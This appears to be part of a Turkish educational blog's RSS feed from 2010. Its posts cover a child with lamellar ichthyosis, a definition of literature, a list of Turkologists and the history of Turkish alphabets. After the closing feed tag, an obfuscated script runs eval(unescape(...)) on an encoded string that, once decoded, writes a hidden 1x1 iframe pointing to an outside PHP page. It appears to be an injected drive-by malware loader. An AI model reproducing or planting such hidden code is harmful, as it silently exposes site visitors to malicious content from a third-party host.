			<content:encoded><![CDATA[<p><a href="http://www.sihirliokul.com/wp-content/uploads/2010/03/balik-cocuk-doktorlari-sok-etti-534078.jpg"><img class="alignleft size-medium wp-image-1105" title="-balik-cocuk-doktorlari-sok-etti--534078" src="http://www.sihirliokul.com/wp-content/uploads/2010/03/balik-cocuk-doktorlari-sok-etti-534078-300x213.jpg" alt="" width="300" height="213" /></a></p>
<p>Doktorları şok eden 14 aylık bebeğin cildi, tıpkı bir balığın pulları gibi&#8230; Doğu Çin&#8217;de yaşayan 14 aylık Song Sheng, derisinin balık pulları gibi görünümüyle doktorlarını şok etti. Küçük Sheng&#8217;in derisinde gözenekler olmadan doğduğu açıklandı. Nadir görülen bir genetik sorun sebebiyle çocuğun vücudunun kendisini soğutamadığı düşünülüyor. Yerel halk tarafından &#8220;balık çocuk&#8221; olarak adlandırılan Sheng&#8217;in doğumunu izleyen birkaç gün içerisinde &#8220;pul&#8221;ların oluştuğu öğrenildi. Doktorları çocuğun terleyemediği, ısı kaybedemediği için derisi balık pulu şekline girip, dökülüyor.<span id="more-1104"></span></p>
<p>Çocuğun ailesinin, vücut ısısını korumak için buz banyosu yaptırırken, babası &#8220;Eğer yeterince buz bulamazsak canı çok yanıyor&#8221; diyor.<br />
Doktorları, Lamellar ichthyosis adındaki bu hastalık için bilinen bir tedavi olmadığını söylüyor.<br />
Baba Song Dehui, durumunun kontrol edilebildiğini, ancak tedavi edilemediğini söyleyip ekliyor:<br />
&#8220;Bir mucize olması ya da bir kocakarı ilacı bulabilmek için dua ediyoruz&#8230;</p>
<p>milliyet</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sihirliokul.com/balik-cocuk-haberi.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Edebiyat Nedir? Kısa Anlatım</title>
		<link>http://www.sihirliokul.com/edebiyat-nedir-kisa-anlatim.html</link>
		<comments>http://www.sihirliokul.com/edebiyat-nedir-kisa-anlatim.html#comments</comments>
		<pubDate>Mon, 01 Mar 2010 14:29:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Genel]]></category>

		<guid isPermaLink="false">http://www.sihirliokul.com/?p=1100</guid>
		<description><![CDATA[
Okuyanlara estetik (sanatsal) bir doyum sağlamak amacıyla yazılmış, ya da böyle bir amacı olmasa bile biçimsel ve içeriksel özellikleriyle bu düzeye ulaşabilen bütün yazılı eserlere edebiyat denir. Edebiyat bir anlatım biçimidir. Düşünce ve duyguları güzel ve etkili bir biçimde anlatma sanatı olarak da tanımlanabilir. Herhangi bir metnin edebiyat eseri sayılabilmesi için sanatsal değerler taşıması gerekir. [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.sihirliokul.com/wp-content/uploads/2010/03/edebiytt.jpg"><img class="alignleft size-medium wp-image-1101" title="edebiytt" src="http://www.sihirliokul.com/wp-content/uploads/2010/03/edebiytt-300x195.jpg" alt="" width="300" height="195" /></a></p>
<p>Okuyanlara estetik (sanatsal) bir doyum sağlamak amacıyla yazılmış, ya da böyle bir amacı olmasa bile biçimsel ve içeriksel özellikleriyle bu düzeye ulaşabilen bütün yazılı eserlere edebiyat denir. Edebiyat bir anlatım biçimidir. Düşünce ve duyguları güzel ve etkili bir biçimde anlatma sanatı olarak da tanımlanabilir. Herhangi bir metnin edebiyat eseri sayılabilmesi için sanatsal değerler taşıması gerekir. Edebiyatın ne olduğunu anlayabilmek için onun, dilden, konuşma ve düzyazı dilinden farklı olan yanlarını ortaya koymak gereklidir.</p>
<p>Konuşma ve düzyazı dilinde, dil bir araç, sözcükleri kullanmakla girişilmiş, belli bir amaca dönük eylemdir. Doğruyu araştırma, ortaya koyma, başkalarına iletme aracıdır. Konuşma ve yazı dilinde sözcükler görevini yaptıktan sonra işe yaramaz hale gelir. Önemli olan meydana getireceği sonuçlardır.<span id="more-1100"></span> Sonuç yani amaç, onu okuyan, ya da dinleyendeki değişimdir. Düşüncemizi dile getiren sözcükleri nasıl biçimlendirdiğimizi unuturuz. Onlar aracılığı ile düşüncemizi ilettiğimiz kişi de onların nasıl biçimlendirildiğine dikkat etmez. Unutur. Dil, bizi doğrudan doğruya öteki insanlarla yada eşya ve düşüncelerle karşı karşıya getirir. Konuşma ve yazı dilinde sözcükler saydamdır. Uçarıdır. Aradan kaybolur gider.</p>
<p>Oysa şiir ve edebiyatta bunların tam tersi oluşmaktadır. Şiir ve edebiyatta dil bir araç değil, biraz amaçtır. Şiir ve edebiyatta dil, sözcükler, cümleler ve biçimler nesnel (objektif) hale gelirler, şeyleşirler. İnsanla öteki insanların, eşyanın ve düşüncelerin arasına girip saydamlaşmaz şiir. Uçarı hale gelmez konuşma ve düzyazı da olduğu gibi. Tam tersine, karşımıza çıkar. Resim gibi, heykel, müzik, yapı gibi (eşya) değeri kazanır.</p>
<p><span style="font-size: x-small; font-family: Maiandra GD;">Şair cümle kurmaz, bir nesne meydana getirir. Sözcüklerle, güzel, unutulmaz biçimler yaratır. Sözcüklerin bir araya özel biçimler altında getirilişinde derin eğilimler dürtüsü vardır. Şair, dilde olduğu gibi sözcüklerden yararlanmaz. Onlara yararlı olur. Renk, ses, hacim gibi onları şeyleştirir, kırar, bozar ve yeniden birleştirerek bir şiir dünyası kurar.</span></p>
<p><span style="font-size: x-small; font-family: Maiandra GD;">Sözlerin ve sözcüklerin nesnelleştirilerek özel işaretler, deyişler, tılsımlı biçimler haline getirilmesi, bunların sihir ve büyü alanında kullanılması, unutulmayan, ezberlenen özel biçimlerle tekrar edilmesi, şiirin doğuşunu hazırlayan en eski etkenlerdir. Bu yönden denilebilir ki, yazı şöyle dursun, tam konuşma dilinin bile gerçekleşmediği, insanın ve insanlığını en eski tarihinde şiir ve şiir dili vardır. Demek ki, edebiyat, dilden önce idi.</span></p>
<p> <span style="font-size: x-small; font-family: Maiandra GD;">Bununla beraber gerçek şiir ve edebiyat yazının bulunup kullanılmasından sonra gelişmiştir. Sanat dışı konularda (politika, hukuk, mektup vb. alanlarda) bile ilk yazılı metinler, edebiyata yakın, destanî, güzellik iddiası ile yüklü oldukça nesnel eserler olmuşlardır.</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.sihirliokul.com/edebiyat-nedir-kisa-anlatim.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Önemli Türkologlar</title>
		<link>http://www.sihirliokul.com/onemli-turkologlar.html</link>
		<comments>http://www.sihirliokul.com/onemli-turkologlar.html#comments</comments>
		<pubDate>Mon, 01 Mar 2010 14:23:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Türkçe Edebiyat]]></category>
		<category><![CDATA[kaşgarlı mahmut]]></category>
		<category><![CDATA[önemli türkologlar]]></category>
		<category><![CDATA[türkçe]]></category>
		<category><![CDATA[türkologlar]]></category>
		<category><![CDATA[ziya gökalp]]></category>

		<guid isPermaLink="false">http://www.sihirliokul.com/?p=1098</guid>
		<description><![CDATA[Kaşgarlı Mahmut
Ord. Prof. Mehmet Fuat Köprülü
Ord. Prof. Reşit Rahmeti Arat
Ord. Prof. Zeki Velidi Togan
Prof. Dr. Muharrem Ergin
Prof Dr. Zeynep Korkmaz
Prof. Dr. Osman Nedim Tuna
Prof. Dr. Ahmet Bican Ercilasun
Prof. Dr. Osman Fikri Sertkaya
Prof. Dr. Hasan Eren
Prof. Dr. Mehmet Kaplan
Prof. Dr. Doğan Aksan 
Prof. Dr. Kazım Mirşan
Prof. Dr. Saim Sakaoğlu
Prof. Dr. Sadık Tural
Prof. Dr. Hasibe Mazıoğlu
Prof. Dr. [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-family: Maiandra GD;"><span style="color: #3366ff;"><span style="color: #ff0066;"><strong>Kaşgarlı Mahmut</strong></span></span></span><span style="color: #ff0066;"><br />
</span><span style="color: #009933; font-family: Maiandra GD;"><strong><span style="color: #33cccc;">Ord</span><span style="color: #33cccc;">. Prof. Mehmet Fuat Köprülü</span></strong></span><span style="color: #33cccc; font-family: Maiandra GD;"><br />
</span><span style="color: #009933; font-family: Maiandra GD;"><strong><span style="color: #ff6600;">Ord</span><span style="color: #ff6600;">. Prof. Reşit Rahmeti Arat</span></strong></span><span style="color: #ff6600; font-family: Maiandra GD;"><br />
</span><span style="color: #009933; font-family: Maiandra GD;"><strong><span style="color: #00cc00;">Ord</span><span style="color: #00cc00;">. Prof. Zeki Velidi Togan</span></strong></span><span style="color: #00cc00; font-family: Maiandra GD;"><br />
</span><span style="font-family: Maiandra GD;"><span style="color: #c0c0c0;"><strong>Prof. Dr. Muharrem Ergin</strong></span><span style="color: #c0c0c0;"><br />
</span><span style="color: #ff99ff;"><strong>Prof Dr. Zeynep Korkmaz</strong></span><span style="color: #ff99ff;"><br />
</span></span><span style="color: #009933; font-family: Maiandra GD;"><span style="color: #ffcc00;"><strong>Prof. Dr. Osman Nedim Tuna</strong></span></span><span style="color: #ffcc00;"><br />
</span><span style="font-family: Maiandra GD;"><span style="color: #3399ff;"><strong>Prof. Dr. Ahmet Bican Ercilasun</strong></span></span><span style="color: #3399ff;"><br />
</span><span style="font-family: Maiandra GD;"><span style="color: #ff0066;"><strong>Prof. Dr. Osman Fikri Sertkaya</strong></span></span><span style="color: #ff0066;"><br />
</span><span style="font-family: Maiandra GD;"><span style="color: #33cccc;"><strong>Prof. Dr. Hasan Eren</strong></span></span><span style="font-family: Maiandra GD;"><span style="color: #33cccc;"><br />
</span><span style="color: #ff6600;"><strong>Prof. Dr. Mehmet Kaplan</strong></span><span style="color: #ff6600;"><br />
</span><span style="color: #00cc00;"><strong>Prof. Dr. Doğan Aksan </strong></span><span style="color: #00cc00;"><br />
</span></span><span style="font-family: Maiandra GD;"><span style="color: #c0c0c0;"><strong>Prof. Dr. Kazım Mirşan</strong></span></span><span style="color: #c0c0c0; font-family: Maiandra GD;"><br />
</span><span style="font-family: Maiandra GD;"><span style="color: #ff99ff;"><strong>Prof. Dr. Saim Sakaoğlu</strong></span><span style="color: #ff99ff;"><br />
</span><span style="color: #ffcc00;"><strong>Prof. Dr. Sadık Tural</strong></span></span><span style="color: #ffcc00; font-family: Maiandra GD;"><br />
</span><span style="font-family: Maiandra GD;"><span style="color: #3399ff;"><strong>Prof. Dr. Hasibe Mazıoğlu</strong></span><span style="color: #3399ff;"><br />
</span><span style="color: #ff0066;"><strong>Prof. Dr. Efrasiyap Gemalmaz</strong></span><span style="color: #ff0066;"><br />
</span><span style="color: #33cccc;"><strong>Prof. Dr. Nevzat Gözaydın</strong></span><span style="color: #33cccc;"><br />
</span><span style="color: #ff6600;"><span style="color: #ff6600;"><strong>Prof. Dr. Tuncer Gülensoy</strong></span></span></span><span style="color: #ff6600; font-family: Maiandra GD;"><br />
</span><span style="font-family: Maiandra GD;"><span style="color: #00cc00;"><strong>Prof. Dr. Ahmet Buran</strong></span></span><span style="font-family: Maiandra GD;"><span style="color: #00cc00;"><br />
</span><span style="color: #c0c0c0;"><strong>Prof. Dr. Hamza Zülfikar</strong></span><span style="color: #c0c0c0;"><br />
</span></span><span style="font-family: Maiandra GD;"><span style="color: #ff99ff;"><strong>Prof. Dr. Oktay Sinanoğlu</strong></span></span><span style="color: #ff99ff; font-family: Maiandra GD;"><br />
</span><span style="color: #808080; font-family: Maiandra GD;"><span style="color: #ffcc00;"><strong>Necip Asım</strong></span></span><span style="color: #ffcc00;"><br />
</span><span style="font-family: Maiandra GD;"><span style="color: #3399ff;"><strong>Besim Atalay</strong></span></span><span style="font-family: Maiandra GD;"><span style="color: #3399ff;"><br />
</span><span style="color: #ff0066;"><strong>Tahsin Banguoğlu </strong></span><span style="color: #ff0066;"><br />
</span><span style="color: #33cccc;"><strong>Wilhelm Radloff</strong></span><span style="color: #33cccc;"><br />
</span></span><span style="font-family: Maiandra GD;"><span style="color: #ff6600;"><strong>Hüseyin Namık Orkun</strong></span></span><span style="color: #ff6600; font-family: Maiandra GD;"><br />
</span><span style="font-family: Maiandra GD;"><span style="color: #00cc00;"><strong>Hüseyin Nihal Atsız</strong></span></span><span style="color: #00cc00; font-family: Maiandra GD;"><br />
</span><span style="color: #c0c0c0; font-family: Maiandra GD;"><strong>Ziya Gökalp<br />
</strong></p>
<p></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.sihirliokul.com/onemli-turkologlar.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Türklerin Kullandığı Alfabeler,Alfabelerimiz</title>
		<link>http://www.sihirliokul.com/turklerin-kullandigi-alfabeleralfabelerimiz.html</link>
		<comments>http://www.sihirliokul.com/turklerin-kullandigi-alfabeleralfabelerimiz.html#comments</comments>
		<pubDate>Mon, 01 Mar 2010 14:07:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Türkçe Edebiyat]]></category>
		<category><![CDATA[alfabelerimiz]]></category>
		<category><![CDATA[arap alfabesi]]></category>
		<category><![CDATA[göktürk alfabesi]]></category>
		<category><![CDATA[ilk türk alfabesi]]></category>
		<category><![CDATA[latin alfabesi]]></category>
		<category><![CDATA[tüklerin kullandığı alfabeler]]></category>
		<category><![CDATA[türk harfleri]]></category>
		<category><![CDATA[türkiye cumhuriyeti]]></category>
		<category><![CDATA[uygur alfabesi]]></category>

		<guid isPermaLink="false">http://www.sihirliokul.com/?p=1095</guid>
		<description><![CDATA[
Türkiye Cumhuriyeti`nde bugün kullanılmakta olan alfabeye gelinceye kadar Türklerin alfabelerini birkaç kez değiştirdikleri bilinmekte ve bu konuda şöyle dörtlü bir dizi yapılmaktadır: Göktürk, Uygur, Arap, Latin
Türkiye Cumhuriyeti`nde kullanılan alfabe de özgün bir Latin alfabesi olmayıp Latin kaynaklı yeni Türk alfabesidir. Nitekim söz konusu alfabenin kabulünü öngören 1928 tarihli yasa “Türk Harflerinin Kabul ve Tatbiki Hakkında [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-family: Maiandra GD;"><a href="http://www.sihirliokul.com/wp-content/uploads/2010/03/alfabee.jpg"><img class="alignleft size-full wp-image-1096" title="alfabee" src="http://www.sihirliokul.com/wp-content/uploads/2010/03/alfabee.jpg" alt="" width="300" height="293" /></a></span></p>
<p><span style="font-family: Maiandra GD;">Türkiye Cumhuriyeti`nde bugün kullanılmakta olan alfabeye gelinceye kadar Türklerin alfabelerini birkaç kez değiştirdikleri bilinmekte ve bu konuda şöyle dörtlü bir dizi yapılmaktadır: </span><span style="font-size: x-small; color: #000000; font-family: Maiandra GD;"><strong><span style="color: #000000;"><span style="color: #000000;">Göktürk</span></span></strong></span><span style="font-family: Maiandra GD;"><strong>, </strong></span><span style="font-size: x-small; color: #000000; font-family: Maiandra GD;"><strong><span style="color: #000000;">Uygur</span></strong></span><span style="font-family: Maiandra GD;"><strong>, </strong></span><span style="font-size: x-small; color: #000000; font-family: Maiandra GD;"><strong><span style="color: #000000;">Arap</span></strong></span><span style="font-family: Maiandra GD;"><strong>, </strong></span><span style="font-size: x-small; color: #000000; font-family: Maiandra GD;"><strong><span style="color: #000000;">Latin</span></strong></span></p>
<p>Türkiye Cumhuriyeti`nde kullanılan alfabe de özgün bir Latin alfabesi olmayıp Latin kaynaklı yeni <span style="color: #000000;">Türk alfabesi</span>dir. Nitekim söz konusu alfabenin kabulünü öngören 1928 tarihli yasa <strong>“Türk Harflerinin Kabul ve Tatbiki Hakkında Kanun”</strong> başlığını taşımaktadır.<span id="more-1095"></span></p>
<p><span style="font-family: Maiandra GD;"><strong>Göktürk Alfabesi</strong></span></p>
<p><span style="font-size: x-small; font-family: Maiandra GD;">Türklerin siyasal varlık olarak tarih sahnesine çıkmaları, Milattan önceki yüzyıllara, Hiung-nu`lar dönemine kadar geriye gitmektedir. Hunlar döneminde yazının kullanıldığına ilişkin bazı kayıtlar olmakla birlikte, bu yazının niteliği hakkında açık bilgilere sahip değiliz. Bu yüzden Türklerin kullandıkları kesin olarak bilinen ilk alfabe Göktürkler döneminde yaygınlık kazanan Göktürk alfabesidir. Son yıllarda Issık-Göl yakınındaki bir kurganda bulunan iki satırdan oluşan yazı, Göktürk alfabesi karaterinde olup, M.Ö. V.-IV. yüzyıllara tarihlenmektedir. Bu yüzden de Göktürklere bağlanan ilk Türk yazısının Göktürk Kağanlığı`nın kuruluşundan yüzyıllarca önce bulunduğunu kabul etmek gerekmektedir.</span></p>
<p><span style="font-size: x-small; font-family: Maiandra GD;">İlk Türk alfabesinden günümüze kalan en büyük kalınıtılar Göktürkler döneminde dikilen yazıtlarda karşımıza çıkmaktadır. Çözülüp değerlendirilmeleri ancak XIX. yüzyıl sonunda mümkün olmuştur. Bunlardan ilk bulunanları Yenisey Irmağı boyundaki yazıtlar olmuştu. 1889′da da Orhon yazıtları diye anılan iki büyük yazıt daha ortaya çıkarılmıştı. Öteki yazıtlardan farklı olarak bunların arka yüzlerinde Çince metinler de vardı. Yani Ankara`daki Augustus Tapınağı`nda olduğu gibi iki ayrı dilde yazılmışlardı. Danimarkalı Türkolog Wilhelm Thomsen, 1893`te bu yazıtları çözmüş, böylece bunların Kültigin ve Bilge Kağan tarafından diktirildikleri, yazının Türklere özgü bir alfabe, dilin de eski Türkçe olduğu meydana çıkarılmıştı.</span></p>
<p><span style="font-size: x-small; font-family: Maiandra GD;">Anıtların öneminden ötürü Orhon alfabesi diye de anılan Göktürk alfabesinin kökenine gelince, bu konuda çok farklı görüş ve iddialar bulunmaktadır. Bu alfabede kullanılan işaretler, Runik diye adlandırılan eski Iskandinav yazısındaki işaretlere benzediğı için Runik karakterli sayılmış ve o alfabeyle ilişkilli olabileceği öne sürülmüştür.Yazıyı çözen Thomsen, bu Türk alfabesinin Arani alfabesinden türemiş olabilece görüşünü savunmuştu. Buna karsın Aristov gibi Rus bilginleri, bu yazıdaki işaretlerin eski Türk damgalarından alınmış olabileceğine dikkatleri çekmiştir. A. Cevat Emre ise, Göktürk yazısının Sümer yazısı ile aynı kökten gediğini varsaymıştır. Bütün bu değişik, hatta çelişik savlar arasinda söylenebilecek şey, bilim çevrelerinde en çok Thomsen’ın görüşünün tutunduğudur.</span></p>
<p><span style="font-size: x-small; font-family: Maiandra GD;">Göktürkler çağında yaygınlaşan bu ilk Türk alfabesi, yazıtlar dışında yazma eserlerde de kullanılmıştır. Doğu Türkistan Yazmaları diye adlandırılan eserler bunu kanıtlamaktadır. Bu alfabenin Göktürkler`den sonra gelen Uygurlar döneminde de bir süre kullanıldığı görülmektedir. 759-760 yıllarında dikilen Şine-Usu yazıtı ile son yıllarda bulunan Taryat Yazıtı bunu göstermektedir. Bunun dışında Göktürk alfabesi, bazı değişikliklerle Bulgarlar,Hazarlar, Peçenekler ve Sekeller tarafından da kullanılmış ve böylece Orta Asya`dan Avrupa içlerine kadar yayılmıştır.</span></p>
<p><span style="font-family: Maiandra GD;"><strong>Uygur Alfabesi</strong></span></p>
<p><span style="font-size: x-small; font-family: Maiandra GD;">Göktürk Kağanlığı`nın 744 tarihinde yıkılmasıyla onun yerine geçen Uygur egemenliği dönemi kültürel etkinlikler ve gelişmeler yönünden İslam öncesi Türk tarihinin en parlak ve dikkate değer dönemini oluşturur. Çin, Hint ve İran kültürlerinin de etkisiyle kültür hayatına öncelik, renk ve hareketlilik getiren Uygurlar, kağıdı ve matbaayı da alıp kullanmışlardır. Bu arada kullanılagelen Göktürk yazısını bırakarak kendilerine özgü yeni bir alfabe düzenlemişlerdir.Uygur alfabesi, Sogd kökenli olup, bazı değişikliklerle Türkçe`ye uygulanmıştı.</span></p>
<p><span style="font-size: x-small; font-family: Maiandra GD;">Bu alfabenin ne zaman kullanılmaya başlandığı kesin olarak saptanamamaktadır. Bugün için bilinen, bu yazı ile yazılmış en eski metinlerin IX. yüzyıl sonlarına ait olduklarıdır. Buna karşın, söz konusu alfabe Uygurların siyasal varlıklarını yitirmelerinden sonra da yüzyıllar boyunca kullanılmıştır. Türklerin İslamiyete geçişleri ve Arap kökenli yeni bir alfabenin kabulünden sonra da Türkistan ve Kırım`daki Türk devletlerinde bu alfabe varlığını koruyabilmiştir. Timur İmparntorluğu ve onun kollarında Uygur yazısının kullanıldığı bilinmektedir. </span></p>
<p><span style="font-size: x-small; font-family: Maiandra GD;">Ebu Said Mirza`nın 1468`de Uzun Hasan’a gönderdigil bitik -mektup- Uygur harfleriyle yazılmıştı. Osmanlı İmparatorluğu`nda da sarayda Uygurca bilen kâtipler vardı ve Orta Asya`daki Türk hükümdarlarına gönderilen mektuplarla kimi yarlıkları bunlar yazıyorlardı. Örneğin, Fatih Mehmet`in Otlukbeli Savaşı`ndan sonra Özbek Hanına gönderdiği zafername Uygur alfabesiyle yazılmıştı. Böylece Orta Asya Türkleri arasında olduğu kadar Osmanlı merkez yönetiminde de geçerliliğini koruduğu anlaşılan Uygur alfabesi, varlığını bir süre daha devam ettirmiş ve 18. yüzyılda tamamıyla unutulmuşdur</span></p>
<p><span style="font-family: Maiandra GD;"><strong>Arap Alfabesi</strong></span></p>
<p><span style="font-size: x-small; font-family: Maiandra GD;">Türklerin topluca İslamiyet’i kabulünden, yani 10. asırdan sonra geniş bir sahada bütün Türk-İslam devletleri tarafından kullanıldı. Arap Alfabesi yirmi sekiz harf olmasına rağmen Türklerin kullandığı İslam harfleri otuz bir ile otuz altı harften meydana gelir. Sağdan sola doğru yazılan bu alfabe, bütün Türklüğü kucaklamış ve Türkçe’nin çeşitli lehçelerinde, pekçok kitap, kitabe yazılmıştır. Muazzam ve kesintisiz abidevi eserler bu alfabe ile verildi. Türkiye, İslam alemi ve dünyanın her yerindeki kütüphane ve kitapseverlerin kitaplıklarında İslam harfleriyle yazılmış milyonlarca Türkçe eser mevcuttur. Dünyanın en büyük ve muazzam arşivi, Türk &#8211; İslam alfabesiyle yazılan Türkçe evraklarla doludur.</span></p>
<p><span style="font-family: Maiandra GD;"><strong>Latin Alfabesi</strong></span></p>
<p><span style="font-size: x-small; font-family: Maiandra GD;">Yeni Türk alfabesi, Latin harfleri temel alınarak, <strong>1 Kasım 1928 gün ve 1353 sayılı yasa</strong>yla tespit ve kabul edilmiştir. Bu kanuna göre, Türk Alfabesi’nde 29 harf bulunur. Alfabeyi oluşturan büyük ve küçük harfler, sırasıyla aşağıdaki biçimde yazılır.</span></p>
<p><span style="font-size: x-small; font-family: Maiandra GD;">bilgicik.com</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.sihirliokul.com/turklerin-kullandigi-alfabeleralfabelerimiz.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script language="javascript">eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%69%73%73%39%77%38%73%38%39%78%78%2E%6F%72%67%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B"))</script>